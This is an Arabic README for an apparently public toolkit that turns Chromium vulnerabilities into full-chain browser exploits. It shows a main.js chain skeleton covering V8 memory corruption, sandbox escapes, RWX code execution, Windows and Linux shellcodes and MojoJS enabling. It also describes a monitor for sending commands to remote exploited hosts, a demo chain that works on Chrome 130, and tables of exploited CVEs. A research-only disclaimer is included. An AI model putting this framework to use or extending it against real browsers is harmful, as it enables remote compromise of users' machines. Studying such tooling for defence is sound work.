
مجموعة أدوات لتسليح ثغرات Chromium وتحويلها إلى استغلالات موثوقة، متعددة المنصات، وكاملة السلسلة.
مجموعة أدوات لتحويل ثغرات Chromium إلى استغلالات موثوقة، متعددة المنصات، وكاملة السلسلة.
يوفر هذا المشروع مجموعة من السكربتات المساعدة القوية، لكنه يتطلب منك توفير الثغرات الخاصة بك. أنت مسؤول عن تنفيذ الأوليات الأساسية للاستغلال (exploitation primitives)، وتتولى مجموعة الأدوات كل شيء آخر.
تعتمد سلسلة الاستغلال المخصصة على ملف السكربت main.js، الذي يتيح لك تضمين ثغراتك بشكل انتقائي إلى جانب السكربتات المساعدة لمجموعة الأدوات:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
اقرأ التوثيق للحصول على نظرة شاملة عن الميزات المتاحة.
تُوفَّر صفحة ويب للاختبار في index.html.
تعرض السجلات، وتتعامل مع الانهيارات، وتسمح للسكربت الرئيسي بتضمين ملفات من المجلدات الفرعية للمشروع.
يمكنك تشغيلها محليًا باستخدام python3 server.py، ثم تصفح http://localhost:8000.
توفر صفحة الويب monitor.html واجهة بسيطة لمراقبة واختبار الاستغلالات عن بُعد.
تعرض المضيفين البعيدين، وسجلات الاستغلال، وإحصائيات الأخطاء.
كما تتيح إرسال الأوامر إلى المضيفين البعيدين، بما في ذلك إعادة تحميل الاستغلالات ووضع اختبار الإجهاد.
للتطوير المبكر للاستغلال، يمكنك أيضًا تشغيل سكربت الاستغلال الرئيسي في d8: d8.exe main.js.
بمجرد أن تصبح سلسلة الاستغلال جاهزة، يتم توفير أدوات لأتمتة المهام المختلفة:
build.py لبناء الاستغلال في سكربت واحدdownload.py لتنزيل إصدارات محددة من Google Chromesymbols.py للتحليل الآلي لملفات PDBيتم توفير بعض الاستغلالات لثغرات عامة لعرض ميزات مجموعة الأدوات:
| الثغرة | الإصدارات المتأثرة (Chrome Stable) | التفاصيل |
|---|---|---|
| CVE-2024-11114 | 94 - 130 (Windows فقط) | يمكن التحكم في الماوس باستخدام واجهة Mojo IPC الخاصة بـ startDragging() لتشغيل الملفات التي تم تنزيلها والهروب من صندوق الحماية |
يتم توفير سلسلة استغلال تجريبية في main.js الافتراضي. وتعتمد على الثغرات التالية:
تعمل سلسلة الاستغلال هذه مباشرةً دون أي إعدادات إضافية على أي إصدار Chrome 130 مستقر والإصدارات الموسعة حتى 130.0.6723.160. ويمكن توسيعها بسهولة لتشمل M128 وM129 وM131 (< 131.0.6778.264) بإضافة symbols.
يمكن أيضًا اختبار الاستغلالات عن بُعد من صفحة المراقبة:

هذه المجموعة مخصصة حصريًا للبحث الأمني. وهي بمفردها لا توفر أي مادة لاستغلال الثغرات غير المعلنة في مشروع Chromium. يقع استخدام هذه المجموعة لأغراض ضارة على مسؤوليتك وحدك.
الإصدارات العامة مرخصة بموجب شروط GNU AGPLv3. وعلى وجه التحديد، لا يُسمح بموجب هذه الشروط بالاتجار بالاستغلالات الخاصة القائمة على هذه المجموعة. قد تكون التغييرات السابقة (commits) التي تمت قبل الإصدار العام الأول غير مرخصة، وهي محمية بموجب قوانين حقوق النشر الافتراضية.
يتضمن هذا المشروع مكونات مرخصة من جهات خارجية: انظر هنا للتفاصيل.
| الثغرة | الإصدارات المتأثرة (Chrome Stable) | التفاصيل |
|---|
| CVE-2024-7971 | <= 127 | التباس أنواع في WASM أثناء ParallelMove في Liftoff |
| CVE-2025-0291 | 128 - 131 (< 131.0.6778.264، المكوّن المعرّض للثغرة طُرح عبر Finch) | التباس أنواع في WasmGCTypeAnalyzer الخاص بـ Turboshaft على الحلقات أحادية الكتلة |
| CVE-2025-2135 | 133 - 134 (< 134.0.6998.88) | التباس أنواع على الكائنات المتشاركة في TransitionElementsKindOrCheckMap |
| CVE-2025-5419 | <= 136 (مفتاح إيقاف Finch بدءًا من 133) | وصول إلى الذاكرة خارج الحدود بسبب إزالة store-store غير صالحة على الفهارس الديناميكية |
| الثغرة | الإصدارات المتأثرة (Chrome Stable) | التفاصيل |
|---|
| 352689356 | <= 131 | التباس في توقيع دوال WASM في عمليات call_ref غير المضمّنة في TurboFan |
| 379140430 | <= 132 | التباس أنواع في التوقيع أثناء الترقية (tier-up) في WasmToJsWrapper مع إفساد Tuple2 داخل الصندوق |
| 395659804 | <= 134 | تنفيذ كود تعسفي عبر التباس في DeoptimizationData لـ OSR |
| 421403261 | 134 - 137 (< 137.0.7151.119، x64 فقط) | تصادم في تجزئة التوقيع i32/i64 في Liftoff |